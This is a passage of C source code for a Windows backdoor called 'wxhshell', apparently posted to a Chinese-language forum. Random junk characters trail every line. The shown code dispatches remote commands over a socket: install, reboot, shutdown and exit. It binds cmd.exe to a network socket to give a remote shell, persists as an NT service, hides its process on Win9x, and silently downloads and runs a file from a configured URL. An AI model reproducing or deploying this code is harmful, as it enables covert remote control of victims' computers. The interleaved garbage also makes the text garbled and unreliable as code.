      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $[e*0!e  
    break; r@aFB@   
  } k9 E ?5  
  // 安装 ruVm8 BO  
  case 'i': { K\PS$  
    if(Install()) x($1pAE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xgVt0=q  
    else i7_BnJJX{B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N]~q@x;<)3  
    break; fpUX @b  
    } ?(N(8)G1  
  // 卸载 Sw~<W%! ?  
  case 'r': { m6}"g[nN  
    if(Uninstall()) NH/H+7,o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #0tM88Wi  
    else MwZ`NH|n3"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .KV?;{~q@  
    break; k<y$[xV  
    } q#1um @m3  
  // 显示 wxhshell 所在路径 &q+ %OPV  
  case 'p': { aj:+"X-;  
    char svExeFile[MAX_PATH]; P`0aU3pl  
    strcpy(svExeFile,"\n\r"); Z(FAQ\7  
      strcat(svExeFile,ExeFile); 4CqZvd C  
        send(wsh,svExeFile,strlen(svExeFile),0); 3ul  
    break; {^v50d  
    } ^H>vJT  
  // 重启 {k>m5L  
  case 'b': { ;X>KP,/r$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /D~:Ufw  
    if(Boot(REBOOT)) Vs(;al'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yl*S|= 8;k  
    else { I]h+24_S  
    closesocket(wsh); 4V=dD<3m  
    ExitThread(0); h&XyMm9C  
    } t}K?.To$  
    break; ;tj_vmZ@R  
    } "dt3peH  
  // 关机 F!U+IztZ   
  case 'd': { k0,~wn\#h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !Bd2$y.  
    if(Boot(SHUTDOWN)) ^#%[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +r '  
    else { 6sntwT"?  
    closesocket(wsh); )g-*fSa  
    ExitThread(0); <[*s%9)'9  
    } b`IC)xN$  
    break; b]Jh0B~Y  
    } YVzK$k'3U  
  // 获取shell f -#fi7  
  case 's': { v{I:Wxe  
    CmdShell(wsh); TE/2}XG)  
    closesocket(wsh); [KJm&\evp  
    ExitThread(0); V9+7A  
    break; >q}EZC  
  } Z#0z#M`  
  // 退出 15870xS  
  case 'x': {  ^rI&BN@S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9yQ[*  
    CloseIt(wsh); C>LkU|[  
    break; \Ew2@dF{O  
    } 0tA+11Iu  
  // 离开 B^oXUEOImq  
  case 'q': { %'P58  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  zE{.oi  
    closesocket(wsh); c=7L)w:I  
    WSACleanup(); UO</4WJ  
    exit(1); K[sfsWQ.  
    break; y- g5`@  
        } &u8BGMl2  
  } >:s:`Au  
  } Qf"gH <vT  
[!v:fj  
  // 提示信息 3ZC[H'|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7;Wj ^#  
} \jC}>9  
  } U,/>p=s  
yNO5h]o  
  return; Y40{v(Pi  
} >%xJ e'  
J^u8d?>r  
// shell模块句柄 [ %r :V"  
int CmdShell(SOCKET sock) .L8S_Mz  
{ H -`7T;t~  
STARTUPINFO si; DS^PHk39  
ZeroMemory(&si,sizeof(si)); hD;[}8qN{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )@Ly{cw   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Iu%S><'+  
PROCESS_INFORMATION ProcessInfo; *.20YruU;j  
char cmdline[]="cmd"; -O{Af  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =3sBWDB[  
  return 0; &K}!R$[,:P  
} #Ez>]`]TB  
ms<?BgCSz  
// 自身启动模式 , !c.  
int StartFromService(void) 8K{ TRPy  
{ '9-8_;  
typedef struct .F9>|Xx[  
{ D\>CEBt  
  DWORD ExitStatus; IGVNX2  
  DWORD PebBaseAddress; >Efv?8$E\  
  DWORD AffinityMask; R}BHRmSQ  
  DWORD BasePriority; 'AHI;Z~Gk  
  ULONG UniqueProcessId; p9Ks=\yvL  
  ULONG InheritedFromUniqueProcessId; 7` &K=( .  
}   PROCESS_BASIC_INFORMATION; m"NZ;*d'  
|nB2X;K5~  
PROCNTQSIP NtQueryInformationProcess; \DpXs[1  
8hGp?Ihu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <kt,aMw[*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (eSa{C\  
Rj1Z  
  HANDLE             hProcess; F.K7w  
  PROCESS_BASIC_INFORMATION pbi; m@)K]0g<f  
59IxY ?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uEH&]M>d_  
  if(NULL == hInst ) return 0; Rm{S,  
EG2NE,,r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eQNo'cz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rm<(6zY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e!Y:UB2 7u  
GRS[r@W[1  
  if (!NtQueryInformationProcess) return 0; Zn|vT&:Hg  
<T{PuS1<o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q B5cF_  
  if(!hProcess) return 0; 7$k[cL1  
+U% = w8b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {!@Pho)Q  
\2@OS6LUe  
  CloseHandle(hProcess); IZoa7S&t  
YeK PoW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nxw]B"Eg  
if(hProcess==NULL) return 0; )EcE{!H6+  
Ag^Cb'3X  
HMODULE hMod; _m#M^<0n  
char procName[255]; Yu`b[]W  
unsigned long cbNeeded; t L}i%7  
Z[s{   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G ,An8GR%&  
 k/ls!e?  
  CloseHandle(hProcess); W/OZ}ky}^  
](vOH#E  
if(strstr(procName,"services")) return 1; // 以服务启动 1 ^TOTY  
.|;`qU o  
  return 0; // 注册表启动 weYP^>gH'  
} ?>LsIPa  
I#tn/\n  
// 主模块 KpA iKe  
int StartWxhshell(LPSTR lpCmdLine) I MpEp}7  
{ QG$LbuZ`  
  SOCKET wsl; Tn8Z2iC  
BOOL val=TRUE; FT!|YJz<K  
  int port=0; q ;1]M[&  
  struct sockaddr_in door; y".uu+hL`  
l 2y_Nz-;  
  if(wscfg.ws_autoins) Install(); Zqc+PO3lw  
AtGk _tpVZ  
port=atoi(lpCmdLine); JL=MlZ  
k.NgE/;3  
if(port<=0) port=wscfg.ws_port; J*IC&jH:  
VnAJOR7lrx  
  WSADATA data; wK!4:]rhG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 18jI6$DY  
7;ZSeQ yC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +pURF&Pr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3@f@4t@5V  
  door.sin_family = AF_INET; m_wBRan  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0.Pd,L(  
  door.sin_port = htons(port); OB FG!.)  
x|&A^hQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]#z^G  
closesocket(wsl); ,IX:u1mO  
return 1; f$[6]7P  
} yS%IE>?  
BrcT`MM[(=  
  if(listen(wsl,2) == INVALID_SOCKET) { I"eXoqh  
closesocket(wsl); rZm|7A)i  
return 1; h(*!s`1  
} { AdPC?R`  
  Wxhshell(wsl); gpB3\  
  WSACleanup(); 7+QD=j-  
dOh`F~ Y)e  
return 0; EW7heIT$  
tQ=M=BPZ  
} rf?Q# KM\W  
n@r'b{2;l  
// 以NT服务方式启动 Q[O[,Rk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O RAKg.49  
{ G'T/I\tB  
DWORD   status = 0; u|t<f`ze  
  DWORD   specificError = 0xfffffff; F$T@OT6  
yu"enA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZbD_AP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l( /yaZ`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1$vsw  
  serviceStatus.dwWin32ExitCode     = 0; dP}=cZ~  
  serviceStatus.dwServiceSpecificExitCode = 0; KAH9?zI)M  
  serviceStatus.dwCheckPoint       = 0; 2A'!kd$2  
  serviceStatus.dwWaitHint       = 0; U`Bw2Vdk]S  
Uv?s<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /2Q@M>  
  if (hServiceStatusHandle==0) return; m08:EX P  
?UuJk  
status = GetLastError(); cD5c&+,&I  
  if (status!=NO_ERROR) (lBgW z  
{ ASME~]]?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c~bi ~ f  
    serviceStatus.dwCheckPoint       = 0; tp"dho  
    serviceStatus.dwWaitHint       = 0; X;25G  
    serviceStatus.dwWin32ExitCode     = status; 4 qMO@E_  
    serviceStatus.dwServiceSpecificExitCode = specificError; IMjz#|c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Ux*":  
    return; GAG=4 g  
  } huVw+vAA  
.4P5tIn\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B@XnHh5y  
  serviceStatus.dwCheckPoint       = 0; ocOzQ13@Y  
  serviceStatus.dwWaitHint       = 0; F=)9z+l#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ln-/ 9'^  
} ~H"Q5Hr   
m!{Xuy  
// 处理NT服务事件,比如:启动、停止 ,[fn? s r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NGZEUtj  
{ R+,eXjz"  
switch(fdwControl) m:U.ao6  
{ v%N/mL+5L  
case SERVICE_CONTROL_STOP: aD)XxXwozm  
  serviceStatus.dwWin32ExitCode = 0; lYEMrr!KQw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M| r6"~i  
  serviceStatus.dwCheckPoint   = 0; el GP2x#:  
  serviceStatus.dwWaitHint     = 0; W3K&C[f  
  { aBv3vSq> Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "BSSA%u?c  
  } i Lr*W#E  
  return; WrWJ!   
case SERVICE_CONTROL_PAUSE: p4mlS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J?4aSssE  
  break; V}<Hx3!  
case SERVICE_CONTROL_CONTINUE: P>q"P1&{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zq wxi1  
  break; '@OqWdaR  
case SERVICE_CONTROL_INTERROGATE: "o" ujQ(v  
  break; ;\~{79c  
}; TTB1}j+V6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8/lv,m#  
} "]*16t%Z%x  
2E]SKpJ  
// 标准应用程序主函数 EAiE@r>4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iEd%8 F h  
{ Y JzKE7%CO  
M-> /vi  
// 获取操作系统版本 t [gz#'  
OsIsNt=GetOsVer(); #m 2Ss  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $v|/*1S  
7)iB6RB K  
  // 从命令行安装 &.XYI3Ab1  
  if(strpbrk(lpCmdLine,"iI")) Install(); %tx~CD  
?M2#fD]e  
  // 下载执行文件 !&4<"wQ  
if(wscfg.ws_downexe) { "XQj ~L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }<?1\k  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9nW/pv  
} 1e=<df  
Vf?+->-?{  
if(!OsIsNt) { cspO5S>#  
// 如果时win9x,隐藏进程并且设置为注册表启动 8I=n9Uyz  
HideProc(); bpq2TgFj  
StartWxhshell(lpCmdLine); o#(z*v@  
} ki/xo^Y2<  
else ERSo&8  
  if(StartFromService()) :W]IJ mI\  
  // 以服务方式启动 HzADz%~  
  StartServiceCtrlDispatcher(DispatchTable); \;w$"@9  
else 0XwDk$l<  
  // 普通方式启动 qf7:Q?+.|  
  StartWxhshell(lpCmdLine); 'EF\=o)^Y  
jET$wKw%  
return 0; d GEMrjx  
}
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只看该作者 1 发表于: 2006-10-10
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